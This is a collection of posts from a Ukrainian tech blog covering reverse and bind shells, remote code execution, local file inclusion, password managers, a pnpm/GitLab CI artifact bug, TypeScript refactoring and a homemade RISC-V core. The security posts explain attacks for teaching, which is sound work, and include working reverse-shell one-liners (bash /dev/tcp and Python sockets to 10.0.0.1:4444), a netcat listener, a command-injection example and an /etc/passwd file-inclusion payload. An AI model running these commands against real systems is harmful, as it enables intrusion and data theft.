Але чому не Bind Shell, раз ми можемо код виконувати? Представте собі, що ви маєте сервер, який відповідає лише за те, щоб віддавати трафік по порту 80\443. І цей сервер точно не очікує вхідний трафік на порт 22, це було б дуже підозріло. Дуже багато фаєрволів подібний трафік просто закривають, закривають всі inbound зʼєднання, окрім портів, яким дозволено. Тобто, Bind Shell просто не спрацював би.

Але от не багато фаєрволів закривають outbound трафік із сервера (з коробки, маю на увазі). А в випадку з Reverse Shell це якраз і є outbound трафік. Насправді цей сервер не приймає ніяких зʼєднань, тим паче на порт 22. Тому в деяких випадках це і проходить повз фаєрволу.

Як створювати Reverse Shell?
Способів його створити дуже багато. Починаючи від самого простого TCP зʼєднання через netcat і закінчуючи awk (так, я не помилився, через awk в Linux можна створити Reverse Shell).

Спочатку, ви починаєте слухати вхідні зʼєднання на своїй машині. Це доволі просто зробити за допомогою netcat (-l listen, -n no dns, -v verbose, -p <port> to listen to):

nc -lnvp 4444

Потім, переходите до віддаленого сервера (цілі). Приведу декілька прикладів та наголошу, що це команди, які ви виконуєте на віддаленому сервері через вразливість, яка дозволяє робити Remote Code Execution. Тобто IP в цих прикладах, це IP вашої машини, яка вже слухає вхідний трафік через той же netcat.

Запускаєте bash, та перенаправляєте все в TCP зʼєднання до вашої машини:

/bin/bash -l > /dev/tcp/10.0.0.1/4444 0<&1 2>&1

Або, через Python, відкриваєте сокет та направляєте його в той же sh:

python -c 'import socket, subprocess;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));subprocess.call(["/bin/sh","-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())'

Більше прикладів ви можете подивитись тут.

P.S. Я нещодавно думав про текстовий формат на каналі в контексті інформаційної безпеки. Розумію, що текстом сприйняти подібний матеріал може бути складно. Коли тут були Type Challenges, був початок і кінець, а між ними невелика історія, яка містилась в одному пості. Наразі ж, з постами про безпеку, це не так. Тому я думаю про те, щоб знімати невеликі відео з супроводом на екрані, щоб показати тему в дії. Або більше, знімати атаки на тренувальні цілі Hack The Box. Поки не зарікаюсь, але я працюю в цьому напрямку, може щось та вийде.

Читать полностью…

Wild Wild Web

Remote Code Execution (RCE)

Продовжу писати про вектори атаки на системи, але в цей раз я розкажу більш не про сам вектор атак, а їх результат. В попередній раз ми розглядали конкретний приклад вектора атаки на імпорт файлів. І в тому прикладі було прописано які саме компоненти вразливі, в якому контексті, та до чого та вразливість призводить.

Так ось, далі в тому прикладі, було згадано, що ми можемо навіть в деяких ситуаціях виконувати наш код, з нашої машини, на цільовій. Ось це і є Remote Code Execution.

Коли ви, як хакер, добиваєтесь того що можете зі своєї машини задавати команди на виконання цільовій машині, то це той момент, коли, зазвичай, кажуть "I'm in".

Що нам дає RCE?
Доки у нас не зʼявляється можливість виконувати команди на цільовій системі, ми знаходимося в дуже обмеженому середовищі. Ми можемо збирати інформацію про ціль, ми можемо діставати ту інформацію, яку б не хотіли, щоб ми діставали, і так далі. Але це все залишається на дуже базовому й обмеженому рівні, доки в нас немає RCE. Це саме те, що шукає кожен хакер в першу чергу.

Як тільки ми знаходимо спосіб, як саме можна передати команду whoami та отримати у відповідь довгоочікуваний, наприклад, www-data, у нас зʼявляється купа можливостей для того, щоб прокачати RCE до повноцінного інтерактивного Shell (навіть без класичних SSH).

Яких видів він буває?
В цілому, мені важко поділити це на категорії, бо лінії дуже плавучі, але декілька із них я б таки досить чітко поділив.

Перша із них і досить популярна в web аплікаціях - Web Shell. Зазвичай, це скрипти на PHP, Python, JavaScript та інших мовах, які приймають через веб параметри команди на виконання, та через API мов виконують ті команди. Такі скрипти завантажуються через вразливості в компонентах завантаження файлів, після чого знаходиться місце, куди файл було завантажено і викликається з машини хакера. Ви йому запит, він вам результат виконання, й так по колу.

Друга — це всілякі Reverse Shell та Bind Shell. Якщо ви отримали можливість виконувати команди через якийсь незручний спосіб, то ви можете, використовуючи різні інструменти в ОС, відкрити TCP зʼєднання на вашу машину. Але при цьому, в це зʼєднання буде перенаправлятись вхідні дані з вашої машини, а вивід з машини цілі. Наприклад, зʼєднання через netcat з машини цілі на вашу машину, але з прапорцями перенаправлення вводу\виводу /bin/bash з цільової машини.

Всі інші категорії, якщо вони й існують, не попадались мені часто, тому особисто мені важко їх виділити в якусь конкретну категорію. Загалом, всі ці RCE це або про завантаження злого файлу на ціль, який приймає команди чи зʼєднання, або навпаки, виконання команди з цільової машини, щоб та відкрила зʼєднання до вашої машини.

Через які вразливості отримують RCE?
Їх насправді дуже багато. І про них ми згодом будемо говорити.

Починаючи від чогось дуже очевидного, типу неправильно написаного коду, який не фільтрує користувацькі дані на вході, перед тим як створити дочірній процес. Наприклад, код типу spawn("ping "+ip_address), де ip_address контролюється користувачем. Достатньо до IP адресу додати ";" і ми вже вийшли за рамки команди ping і можемо писати свої.

І закінчуючи вразливостями в сервісах типу Samba, FTP, RDP та інші. Коли ми можемо завантажити файли, які відкриють нам зʼєднання до нашої машини й передадуть керування. Наприклад, можливість завантажувати файли від анонімного користувача в каталог, який опрацьовується вебсервером. Завантажуємо файл з Web Shell через FTP, а команди виконуємо через HTTP. В такому разі це просто недогледіли анонімний доступ та те що той же каталог є частиною вебсервера.

Епілог
Як бачите, конкретики сьогодні мало, тому що RCE це не про конкретну вразливість в системі, а скоріше про результат експлуатації інших вразливостей. Але цей результат є дуже важливим. Якщо ви не отримали RCE, то можна сказати що ви нічого й не досягли.

Згодом, в наступних постах, я більш детально розкажу про Reverse Shell та Bind Shell. Як саме, маючи можливість виконувати команди, можна отримати інтерактивні shell.

Читать полностью…

Wild Wild Web

Всім привіт! Сьогодні трохи відірвемось від нудної та непотрібної безпекової складової в постах 🙂

Були часи, десь там у 2021 році, восени, коли ми ходили по конференціях та розповідали всякі технічні штуки. Десь в той час, я робив доповідь про те, як концептуально влаштований V8 в Node.js.

Нещодавно, запис було опубліковано на каналі Framework Days, де ви можете його переглянути. Я говорив про такі речі як:

- Що таке V8?
- Чим відрізняється інтерпретація від компіляції?
- Що таке JIT компіляція?
- Як концептуально влаштовані оптимізувальні компілятори?
- Невелике демо, на якому я показую байт коди й машинні коди.
- Декілька запитань та відповідей.

Бажаю приємного перегляду, багато кому доповідь дуже сподобалась!

https://youtu.be/QOcqsCChuJY

Читать полностью…

Wild Wild Web

🔥 Отримай найпопулярніший родстер у світі Mazda MX-5 за донат на військо!

Волонтерська спільнота Корчівники, яка передала вже більше 60 авто, збирає 10 мільйонів гривень для купівлі 25+ позашляховиків для 20+ підрозділів ЗСУ, НГУ та ГУР.

🔥 Мазда створила МХ-5 виключно для отримання задоволення від їзди. І їм це вдалося настільки добре, що авто отримало по всьому світу більш ніж 280 нагород за всю історію свого існування.

В ній 184 кінскі сили, які розганяють цей легкий кабріолет до 100 км/г менш ніж за 7 секунд. А керування, перемикання передач, посадка в авто спеціально налаштовані таким чином, щоб ви відчували їзду.

🚨 Спорткар не вплине на фронт, а твій донат - так.

Вартість квитка в лотереї - 100 гривень.

Більше квитків - більше шансів отримати кабріолет у подарунок.

Задонатити

💰 на банку https://send.monobank.ua/jar/51kG6tZz1E

🏦 на картку 5375 4112 1908 2331

Якщо донатиш не з Монобанку - вкажи контакти як з тобою зв’язатись

Читать полностью…

Wild Wild Web

Всім привіт!


Нещодавно командою стикнулись з дуже цікавою проблемою, з якою захотілось поділитись з вами. В кінці прям дуже смачно 😄 Почну з контексту.

Контекст
Проєкт не новий, здається, 5 років йому чи щось таке і, відповідно, в ньому є певні моменти, які тягнуться ще з тих часів. Один із таких моментів — це давніший колись npm link.

Був собі монолітний код, проблем не було, але згодом, зі скейлом, почали виникати проблеми. На той момент, це вирішувалось через npm link, але хто працював з ним, той розуміє, що при певних скейлах і це вже не дуже підходить.

Ми сіли з командою поговорили й вирішили, що настав час трохи модернізувати все що відбувається з залежностями, пакетами і так далі. Для цього вирішили взяти pnpm workspaces.

Міграція на pnpm workspace
З самою міграцією прям якихось моментів не було, просто багато рутинної роботи, де потрібно було імпорти із різних тек по всьому репозиторію перебити на імпорти, власне, пакетів.

Також, вбивалась свалка залежностей, яка встановлювалась через кореневий package.json. Всі залежності були передислоковані в маніфести безпосередньо самих пакетів. Таким чином, у звʼязці з pnpm, вирішується також проблема транзитивних залежностей.

Отримавши локально зібраний кластер на pnpm workspace-ах, пора подумати про збірку образів Docker-а.

Збираємо з pnpm deploy
Проблема збірки сервісу в монорепо полягає в тому, що з рішенням в лоб ви копіюєте в контекст збірки абсолютно всі залежності всього монорепо, але цього нам не потрібно. Нам потрібно лише те, що дійсно важливе для конкретного сервісу.

Тому ми використали команду pnpm deploy, яка вміє аналізувати кому що потрібно із node_modules і робить вам вже готову теку, в якій все необхідне для того, щоб запустити сервіс. Вам залишається лише прокинути це в контекст збірки й скопіювати то все.

Локально все зібралось, все працює, переходимо до GitLab CI.

GitLab CI
На build server-ах GitLab-а в нас один под збирає монорепозиторій (тести, компіляція, кодогенерація й т.п.) і як артефакт він виставляє результат роботи pnpm deploy для всіх сервісів, які нам потрібно зібрати в текі dist.

Інший вже под затягує собі цей dist, розархівовує його й використовуючи dist окремо взятого сервісу — пакує в образ через kaniko. І ось тут проблема!

Що за проблема?
З переїздом на pnpm workspace, артефакти кожного окремого сервісу локально важать в рамках 100-200 Мб, що не є оптимізованим, але й не дуже критичним.

А на серверах GitLab CI ми отримуємо Entity Too Large в спробах цей артефакт передати наступному поду. І ми почали розбиратись, що ж пішло не так?

Симптоматика зрозуміла - GitLab CI взяв артефакти в dist, запакував їх в архів, спробував цей артефакт завантажити, але отримав Entity Too Large. Хоча локально, архів не вибухає й залишається в рамках норми.

Побудова гіпотез та їх перевірки
Ми будували безліч гіпотез, та всі вони розбивались о наші експерименти. В якийсь момент, я просто зробив з нуля дуже просту примітивну джобу, яка запрацювала, як потрібно. І стало очевидно, що все ж таки, проблема не з pnpm workspace чи щось з нашими маніфестами, а саме щось в джобі самій.

Колега сів та перебрав вручну всю різницю між робочою джобою та джобою, яка валиться з Entity Too Large й ми знайшли тільки одну відмінність — в yaml описі джоби, в artifact path різниця була між dist/** та dist.

Що відбулось насправді?
GitLab CI, отримавши dist/**, зробив shell expansion через shell.Expand (runner helper написаний на Go і glob розкривається через shell.Expand) і отримав рекурсивно абсолютно всі файли, включно з symlinks та hardlinks в node_modules. При архівації, symlinks резолвляться в справжній файл і таким чином, архів розбухає, бо там вже купа дублікатів реальних файлів, що в сумі, перевищило розмір в 1 Гб.

Мораль
Будьте дуже обережні з glob patterns та shell expansion 😀

Читать полностью…

Wild Wild Web

Історія про успішний рефакторинг

Розповім невелику історію про те, як gradual typing в TypeScript та тести допомогли мені на реальному проєкті покроково зробити зі спагеті кода щось більше зрозуміле.

Що маємо на вході?
Є у нас сервіс, задача якого приймати стан Kubernetes кластера і залежно від його стану та обʼєктів, які він має в собі, відповідати новим станом кластера. Use case такий, що користувачі описують custom потреби в CRD, Metacontroller слідкує за ним, сповіщає цей сервіс про стан, а ми кажемо, що ми хочемо отримати, відповідно до потреб.

Так от цей сервіс написаний в одному JS файлі, без тестів, обмазаний lodash-ами й так далі й тому подібне. Зрозуміти що там відбувається, а тим паче говорити про новий функціонал та його підтримку — штука натягнута.

Тож було прийняте рішення, що потрібно покращити maintainability спочатку, перед тим як додавати нові штуки.

Mainline конфігурації для TypeScript, ESLint, Jest
Першим кроком було зроблено максимально строгий профіль для TypeScript, підготовлений ESLint з купою плагінів (теж строгий) ну і заточений Jest під Node.js + TypeScript.

Всі ці конфіги я поклав в окремі пакети, щоб покращити reusability в монорепі та щоб тягнути їх в наступні сервіси також.

Перший checkpoint
Очевидно, що просто взяти та все знести та зробити "правильно" - нікому не цікавий підхід. Цей сервіс вже працює і треба робити рефакторинг інкрементальний, нікого не зламавши.

Тому на перший checkpoint було зроблено наступне. В проєкт було додано TypeScript, ESLint та Jest разом зі скриптами які їх запускають. Вихідний код був перейменований в файл з розширенням ts і відповідно TypeScript та ESLint вже міг його компілювати\перевіряти.

Проте... при першому запуску було отримано десь 12,000+ помилок і очевидно що всі одразу не закрити. Тому, всі помилки вимикались директивами ESLint прям у файлі, помилки TypeScript вказувались як ts-expect-error або ж вказувався тип any, там де це було можливо.

Таким чином, ми отримали інтегрований pipeline для компіляції та лінтінгу проєкту, який надає нам артефакт у виді JS файлу, який ми пакуємо в контейнер і деплоїмо — все працює, як і раніше.

Другий checkpoint
Маючи інтегрований toolchain, змінювати спагеті код в одному файлі все одно дуже ризиковано. Тому другим checkpoint-ом стали тести (яких, нагадаю, не було).

Була зроблена внутрішня бібліотека на TypeScript, через яку можна було вказувати, яке тестове оточення нам потрібно. Щось типу docker compose тільки для TypeScript. Можете, до речі, також глянути на https://testcontainers.com/ для цього.

Так от, зробивши можливість в Jest hooks підіймати та видаляти тестове оточення з кафками та самим сервісом, я почав писати інтеграційні тести. Ці тести писались частково з автором сервісу, щоб зафіксувати його сакральні знання про специфіку його роботи.

Через те, що сервіс це звичайний HTTP сервер, то самі тести мали вигляд "зроби запит -> подивись що вернулось".

Написавши достатню кількість тестів, щоб принаймні вважати що сервіс покриває основну кількість базових кейсів, це було закомічено в trunk.

Третій checkpoint
Маючи інтеграційні тести на систему, вже стає не так ризиковано змінювати той спагеті код. Але, якщо є можливість розбити на ще більш інкрементальні шматочки, то чому б це і не зробити?

Тож, кожна наступна зміна в коді це був окремий merge request, де із вихідного файлу видалялась одна директива TypeScript, яка раніше вимикала помилки. Якщо, наприклад, ми взялись за тип any в функції Х, то ми розбирались, що там має бути, фіксили весь ланцюжок і комітили в trunk після успішних прогонів тестів.

Четвертий... пʼятий... шостий checkpoint
Таким чином, покроково, директив компілятора та лінтера в коді ставало все менше, а код поступово набирав більш зрозумілі форми. Тому що, разом з рефакторингом також рефакторилась і структура файлів, з чіткішими зонами відповідальності.

По ходу цього рефакторингу, також додавались unit тести.

Checkpoint X
В результаті, ми зараз маємо сервіс, покритий тестами та інтегрований в CI/CD. Пишіть в коментарях про ваші історії рефакторингу.

Читать полностью…

Wild Wild Web

ARVES - Закінчуємо з машинними інструкціями

Всім привіт! Я закінчив перший milestone по проєкту ARVES, де я роблю свою власну реалізацію RISC-V процесора, а саме - RV32I. Це означає, що можна спокійно використовувати RISC-V Toolchain з компіляцією під RV32I й моя реалізація виконає все що треба.

І хотілось би вже перейти до другого milestone, але я бачу що ні часу, ні ентузіазму в мене вже не вистачить для того, щоб добити другий milestone до кінця. А тому, я заморожую цей проєкт на ось такому логічному завершенні. Про це детальніше я показую та розповідаю в ось цьому відео.

В принципі, я планую тепер порефлексувати над пройденим шляхом та подумати чи хочу я взагалі продовжувати робити якийсь контент і якщо так, то який? Пишіть в коментарях, якщо у вас є цікаві пропозиції та теми, які хотілось би підіймати.

Нагадаю, що загалом в мене у відеоформаті є два великих проєкти: "Розбираємось з NandGame" та "Another RISC-V Educational Softcore". Якщо вам цікаво подивитись за історією проходження гри чи розробки RISC-V на VHDL, то переходьте до списків відтворення та починайте дивитись з початку.

Наче все сказав що хотів, а тому гарного всім дня! Буду думати що тепер робити далі 🙃

Читать полностью…

Wild Wild Web

ARVES - Підтримка оперативної памʼяті в RISC-V ядрі

Всім привіт! Я нарешті доробив все що було необхідним для підтримки оперативної памʼяті в моєму RISC-V процесорі. В ось це "все" входили такі речі як:

- сама оперативна памʼять (Random Access Memory)
- побайтова адресація в памʼяті
- підтримка машинних інструкцій для запису/читання в ядрі

А це значить, що моє ріднесеньке ядро розширилось й тепер розуміє програму не тільки в контексті ALU, а ще й в контексті читання з оперативної пам'яті чи запису в неї.

Тож я став на крок ближче до повної сумісності з RV32I архітектурою! 🔥 Щоб ви розуміли наскільки це близько, на картинці в пості показана простенька програма на С++, яка компілюється у RV32GC. І Assembly, в який gcc скомпілював, майже весь підтримується моїм процесором, окрім Jump та Branching. Але це можна зробити 😜

Кому цікаво подивитись на технічні деталі реалізації, то скрінкаст вже залив на ютуб, тож запрошую до перегляду!

Читать полностью…

Wild Wild Web

Перша програма на власному процесорі!

Всім привіт! Вчора я нарешті зробив достатньо, щоб мати можливість написати програму на Assembly та скориставшись RISC-V асемблером, зібрати її та запустити на власному ядрі, яке я роблю. Так, я не помилився — скориставшись асемблером, якому я дав програму зі скриншоту в пості, я отримав машинний код, який успішно виконався на моєму процесорі.

І як би мені не хотілось сказати що все зроблено, але ні... Мова йде про підмножину RISC-V інструкцій, а саме арифметика та логіка. Щоб мати RV32I-сумісний процесор, треба ще зробити інструкції для запису та читання в/з памʼяті та для зміни ходу програми.

Але це не анулює невеличкий успіх цього проєкту. Сам факт того, що ми маємо мінімально робочу систему, яка здатна виконувати машинні інструкції отримані від RISC-V тулчейна, доводить, що ідея має право жити й можна пробувати розвивати її.

Чим я і займусь у вільний час, а вам, якщо цікаво подивитись як виглядав процес реалізації, я залив відео на YouTube. Всім гарного вечора!

Читать полностью…

Wild Wild Web

Декодуємо ALU інструкції в нашому процесорі

Всім привіт! Побудувавши раніше ALU та регістри процесора, якими ми керували окремо один від одного, очевидно, що було б зручно, якби ми вже могли ними керувати за допомогою машинних інструкцій RISC-V архітектури.

Тож, я зробив невеличкий компонент "декодер", в якому на вході подається 32 біти машинної інструкції, а на виході декодера ми отримуємо сигнали для ALU та Register File, які виставляють їх в потрібний нам стан.

Звісно ж, що поки ми не поєднуємо їх до купи, але вже дуже скоро я до цього прийду. Так що станом на сьогодні в мене є три компоненти ядра процесора: ALU для обчислень, Register File для зберігання результатів та й загалом стану ядра й Decoder, який може взяти машинну інструкцію та декодувати її в сигнали керування ALU та Register File.

Як на мене, то ми вже десь близько біля того, щоб додати ще сюди памʼять для інструкцій, поєднати це все в один компонент й ми отримаємо ядро процесора, яке вміє виконувати 19 інструкцій RISC-V архітектури. Що вже дуже й дуже непогано, враховуючи, що я цим ніколи не займався.

Мій план все ще не змінився, я намагаюсь зробити зараз повноцінне ядро RISC-V процесора й навіть не намагаюсь реалізувати підтримку всіх інструкцій, станом на зараз. Я це роблю для того, щоб можна було як скоріше інтегрувати деякі тести, які вже б казали, що в мене підтримується, а що ні.

Ну і там вже як тільки в мене буде налагоджений процес розробки й тестування ядра процесора, я вже буду доповнювати ці компоненти ALU, Decoder, Register File й інші компоненти (які в нас будуть) підтримкою нових машинних інструкцій.

Детальніше про процес декодування та й взагалі як виглядає процес реалізації цього декодера на VHDL я розповідав в цьому відео - https://youtu.be/9F8vuuyZ_Hk

Читать полностью…

Wild Wild Web

Проходження MHRD в симуляторі Circuit Verse

Всім привіт! Після NANDGame моє бажання колупатись в процесорах ще нікуди не зникло, а тому, я після неї побігав по Steam подивився, що там може бути цікавого. Одну з іграшок, в які я грав, я вирішив записати. Але я записав не просто проходження 🙃

Є такий симулятор CircuitVerse, в якому можна будувати логічні схеми та перевіряти що вони працюють й оце все. І я подумав, а чому б мені не просто пройти гру MHRD, а кожен рівень гри вирішувати в цьому симуляторі, а тоді переносити рішення в гру. В кінці, в теорії, я маю отримати повністю справний процесор, який ми маємо створити в MHRD, в симуляторі Circuit Verse.

І можу сказати, що в цілому, в мене це вийшло. Дуже не вистачає padding, бо без нього я не можу деякі необхідні штуки зробити, але в цілому все працює (кхе-кхе).

Обіцяю, що це вже остання іграшка, в якій я граюсь. Пора робити справжні речі, а не іграшки грати! 💪

Тому в мене питання до вас. Якщо ви знаєтесь на сучасних Instruction Set Architecture та симуляторах, то доєднуйтесь, будь ласка, в чат для обговорення. Я хочу спробувати зробити процесор, який не іграшковий, а справжній, та запустити на ньому якусь мінімальну операційну систему (Linux?). Поки що в мене кандидат це RISC-V, можливо ви знаєте більш слушні ISA для цього? Накидуйте ідеї в чат/коментарі! Ну і звісно ж з прийдешніми святами 🥃

https://www.youtube.com/watch?v=WxPzAKsfgZA

Читать полностью…

Wild Wild Web

Обговорення "кабанчика"

Всім привіт! Давно на цьому каналі нічого не відбувалось, бо робота кипить на YouTube (якщо вам цікавий nandgame, то я вже закінчив hardware, запрошую на YouTube канал) 😊

Проте, знаходиться час й на інші активності, як от, до прикладу, нещодавно ми прочитали книжку "Designing Data-Intensive Applications" та вирішили зібратись з DOU обговорити її. Вчора подивився сам цей випуск для того, щоб прорефлексувати, але згодом забув що я рефлексував, бо воно так легко залітає, що про все забуваєш. Як на мене, то вийшло досить цікаво та активно, тому запрошую до перегляду!

https://youtu.be/4-kfgRyYet4

Читать полностью…

Wild Wild Web

Redis Explained

Цікавий допис, на мою думку, про те, що з себе представляє Redis. Автор дуже коротко розглядає його популярні конфігурації, починаючи від одного серверу, який робить все і закінчуючи кластером з шардингом.

Памʼятаю, коли я останній раз працював з Redis-ом, то він використовувався, та і годився, тільки на in-memory кеш. А зараз от почитав і про те, що в нього зʼявилась persistence, причому декілька смаків. Коротше, в моїх очах, Redis трішки піднявся, виглядає цікаво. Так що, рекомендую і вам ознайомитись з цим дописом.

https://architecturenotes.co/redis/

Читать полностью…

Wild Wild Web

Навіщо менеджери паролів? (#3)

Password Spraying
Для цього, хакери придумали дуже просту концепцію - "розпилювати" пароль. Замість того, щоб підбирати пароль до вашого конкретного акаунту, вони беруть вже знайдений пароль і підбирають користувачів під цей пароль.

І, очевидно, що оскільки пароль у вас однаковий на різних сервісах, ви попадаєте в категорію людей, які вразливі до password spraying. Щоб захиститись від цих векторів атак, почали впроваджувати підхід "один сервіс — один пароль".

При такому сценарії, навіть якщо зловмисник отримував доступ до одного із ваших акаунтів на одному сервісі, він не міг отримати доступ до інших. Тобто, ви мінімізуєте площу атаки для нього.

Але, як тепер запам'ятовувати всі ці паролі під різні сервіси? Отут і з'являються менеджери паролів в цьому часовому відрізку.

Підбирати пароль — дорого, але реально
Індустрія зберігання паролів дійшла до моменту, коли атакувати паролі вже стало просто неефективно, але все ще реально. Беруться конкретні цілі, конкретні люди, їх паролі ставляться на перебір, атаки по словниках й таке інше.

Тому з'явилась потреба захистити себе і від цього. Потрібно було підтвердити свою особистість ще чимось, окрім пароля. Так з'являється другий фактор аутентифікації - time-based one-time password (TOTP).

Двофакторна аутентифікація
Проблема з паролем полягає в тому, що рано чи пізно, його врешті решт атакують. У хакера є безліч часу на це (поки він ще живий, принаймні). Тому потрібна така форма пароля, яка була б захищена від цього.

І тут, виходить TOTP! Це форма пароля, яка дійсна тільки обмежений час. По замовчуванню це 30 секунд. Після 30 секунд, пароль стає недійсним та генерується новий. Але як тоді сервіс може перевірити що ви, це ви.

Коли ви налаштовуєте TOTP вперше, вам потрібно обмінятись ключами між сервісом та вашим сховищем, де цей ключ буде зберігатись. Сервіс каже "дивись, домовмось, що ми будемо кожні 30 секунд генерувати новий пароль, а ключ та алгоритм, який будемо використовувати, ось".

Ваш менеджер паролів зберігає цей ключ, налаштування часу та алгоритм. Після цього, дві сторони знають, як буде генеруватись пароль, що вони й роблять. Але при цьому, ніхто більше не обмінюється ключами, що унеможливлює хакеру генерувати їх на свої стороні.

Таким чином, ви додатково захищаєте свій пароль ще й паролем, який дійсний лише 30 секунд та постійно змінюється. Єдине що залишається хакеру для успішної атаки — атака на ваше сховище, де цей ключ зберігається. Або ж переадресувати вас на фішинг, де ви обміняєтесь ключами не з сервісом, а з хакером.

Продаю вам менеджер паролів
Дуже багато я всього розписав, хочу сказати, що менеджер паролів потрібен — використовуйте їх. На кожен сервіс, кожен логін, потрібен новий пароль. В ідеалі, паролі зі спеціальними символами, числами, великими та малими літерами й довжиною понад 20 символів.

Продаю вам двофакторну аутентифікацію
Якщо сервіс пропонує вам налаштувати 2FA - робіть це. Використовуйте time-based one-time password.

Епілог
Визнаю, я ну дуже багато сьогодні розписав. От мене прорвало прям щось на цю тему, але я й не думав її оформляти якось в вигляді чек-поінтів. От як йшли в мене думки, так і писав. Подумав, що вам може буде цікаво. Пишіть в коментарях, може має сенс розкрити цю тему якось більш структуровано?

P.S. Ну і якщо у вас є друзі чи знайомі, які досі мають один пароль qwerty на всі акаунти, можете ділитись цим текстом, можливо йому це допоможе ще раз подумати про те, що так робити не варто 🙃

Читать полностью…

Wild Wild Web

Навіщо менеджери паролів? (#1)

Нещодавно я змінював свій менеджер паролів, яким я користувався досить довго, на інший. Це було дуже прикро, та ще й тяжко, бо перенести всі акаунти з двофакторними авторизаціями на новий менеджер паролів — це той ще квест. Через те, що в мене не було вибору і я вимушено мігрував, я вирішив провести ще й ротацію паролів. Якщо вже мігрувати, то з музикою 🎺

Так от, до чого це я... Зʼявилась тема, яку я б хотів спробувати розкрити, а саме — для чого потрібні менеджери паролів? Чому двофакторна авторизація потрібна? Чому не треба використовувати один і той же пароль на різні сервіси? І так далі... Це буде великий пост, але, сподіваюсь, буде цікаво. Щоб було ще цікавіше, пропоную дивитись на це з точки зору хакера та почати з самого простого. Що ж, поїхали...

Пароль ідентифікує людину
Сам по собі конструкт "пароля" не новий та існує вже дуже давно. Повинен бути спосіб якось ідентифікувати людину, що це справді вона, що це справді той, кого ми очікуємо. Тому паролі в тому чи іншому вигляді існують дуже довго.

І один зі способів це мати якесь спільне слово, про яке знаєте тільки ви та інша сторона. В нашому контексті, в якому ми будемо говорити, це база даних, де зберігається це слово, де зберігається ваш пароль.

Зберігання plain-text?
Добре, нам потрібно зберігати пароль нашого користувача. Саме просте що ми можемо зробити — це зберігати його в тому ж вигляді, в якому він був нам переданий (aka plain-text).

Користувач при реєстрації вказує свою публічну інформацію та вказує своє секретне слово — пароль. Ми цей пароль отримуємо і зберігаємо його у своїй базі даних. Sounds Legit!

І все було б круто, якби не одне але. У випадку, якщо хакер отримує доступ до бази даних, він "безплатно" отримує список всіх акаунтів зі всіма паролями. Уявіть, що у вас мільйони користувачів, а база даних, яку отримав хакер, містить в собі буквально список всіх паролів всіх користувачів у відкритому вигляді — жах!

Хешуємо все в md5 - бігом!
Коли індустрія зрозуміла, що plain-text це не круто, почалось масове хешування паролів. Що таке хешування це тема для окремого поста, але дуже коротко — це процес при якому вхідні дані приймають іншу форму, із якої неможливо отримати ті самі вхідні дані (не плутати з шифруванням).

Так от... На той час популярним був md5. Це алгоритм, який дозволяв взяти рядок будь-якої довжини та отримати рядок довжиною в 32 символи.

Тепер, перед тим як зберігати пароль в базу даних, ми хешували його через md5 та зберігали хеш пароля, а не сам пароль. Наступного разу, коли приходив користувач та давай свій пароль, ми його знову хешували та перевіряли чи сходиться він з тим, який у нас в базі даних.

Таким чином, ми закрили ту діру, яка була у випадку з отриманням доступу до бази даних. Паролі більше не зберігаються в тому вигляді, які вони були з початку — перемога!

Хакер атакує базу даних, отримує список з md5, замість паролів, та не знає що з цим робити. Якщо він буде передавати самі хеші як паролі, то це не спрацює, тому що це не є тим самим паролем, словом, яке було на початку. Та чи справді він не знає що з цим робити?

Читать полностью…

Wild Wild Web

Добірка проєктів реалізованих виключно на системі типів TypeScript

Доки я ще не зловив бажання розповісти про {Reverse, Bind} Shell та що це й для чого, поділюсь з вами невеличкою добіркою, яку я знайшов гуляючись інтернетом.

Мушу сказати та попередити, що всі ці фокуси з типами, звісно, дуже круто виглядають. Але я ще раз наголошу на тому, що гратись з типами з ціллю загального розвитку та писати код в продакшн — це різні речі.

Тому, подивитись на такі цікаві проєкти, дізнатись щось нове з цього, що може допомогти в другому проєкті, завжди "за!". Але, будь ласка, не намагайтесь тягнути такий код в продакшн, вам ще з людьми працювати 😅

Що ж, disclaimer залишив, тепер і сам список приведу:

- 4-Bit Virtual Machine - стекова віртуальна машина з математичними операціями, роботою зі стеком та виводом на екран. Ви йому кортеж з оп кодів віртуальної машини, він вам результат виконання.

- Tiny SQL database - невеличка база даних, реалізована виключно на анотаціях типів. Приймає рядок з SQL запитом і саму "базу даних" як тип параметри та повертає результат.

- Tiny Language Interpreter - інтерпретатор для мови програмування, подібної до Lisp. Розуміє синтаксис Lisp, має функції та змінні. Приймає рядок з кодом та повертає результат.

- Tic Tac Toe Game - гра в хрестики нолики. Це не сама гра в класичному сенсі, ніхто з вами грати не буде. Але ви даєте на вході розташування, а він вам відповідає хто виграв.

Це не всі проєкти які я побачив в добірці, але ті, які, на мою думку, були дуже цікавими та пізнавальними.

Напишіть в коментарях, а який самий "складний" тип ви писали в TypeScript? Для чого ви це робили й скільки часу пішло на це?

З нещодавнього мого, чим займався в Wix, намагався зробити Schema Builder виключно в системі типів TypeScript з інтроспекцією в рантайм, але нічого не вийшло. Були локальні успіхи та шанси переграти рішення в цю сторону, та прийшла війна і довелось змінити пріоритети.

Читать полностью…

Wild Wild Web

Local File Inclusion (LFI)

Всім привіт! Нещодавно я думав про те що, можливо, я обрав не той напрямок ведення постів про безпеку. Тому, спробуймо поговорити в наступних постах про конкретні атаки, без розповідей про те, як їх автоматизовувати.

Поки снідав, то думав, про яку ж саме розказати, з якої почати... Вирішив взяти щось дуже просте й банальне, але яке інколи є дуже таки серйозною вразливістю. Тому, зустрічайте - LFI!

Який вектор атаки?
Local File Inclusion атаки націлені на ті компоненти системи, які динамічно імпортують файли для зображення чи опрацювання цих файлів. І якщо у користувача є спосіб впливати на те, який саме файл завантажується — ви в грі!

Конкретний приклад вразливої системи
Щоб простіше було зрозуміти, візьмемо простий приклад з php. Дехто з вас, напевно, памʼятає як раніше робились роутери. У вас є посилання виду my-site.com/index.php?page=contact. А в самому коді писали щось типу require($_GET['page']). Тобто, аплікація робить імпорт файлу, шлях до якого контролюється ззовні.

Як експлуатується?
В прикладі вище, ми замість page=contact передаємо page=/etc/passwd і аплікація залюбки робить імпорт файлу /etc/passwd і показує його вміст. Таким чином ми реалізовуємо атаку, яка називається Information Disclosure.

Маючи спосіб дивитись зміст файлів на сервері, ми можемо дістати багато цікавої інформації. В тому числі вихідні коди самого вебсервера, що досить часто може призвести до Whitebox Penetration Testing, облегшуючи подальші дії. Наприклад, дістати зміст файлу, в якому зберігаються пари логін:пароль для підключення до бази даних.

А якщо додати протоколи?
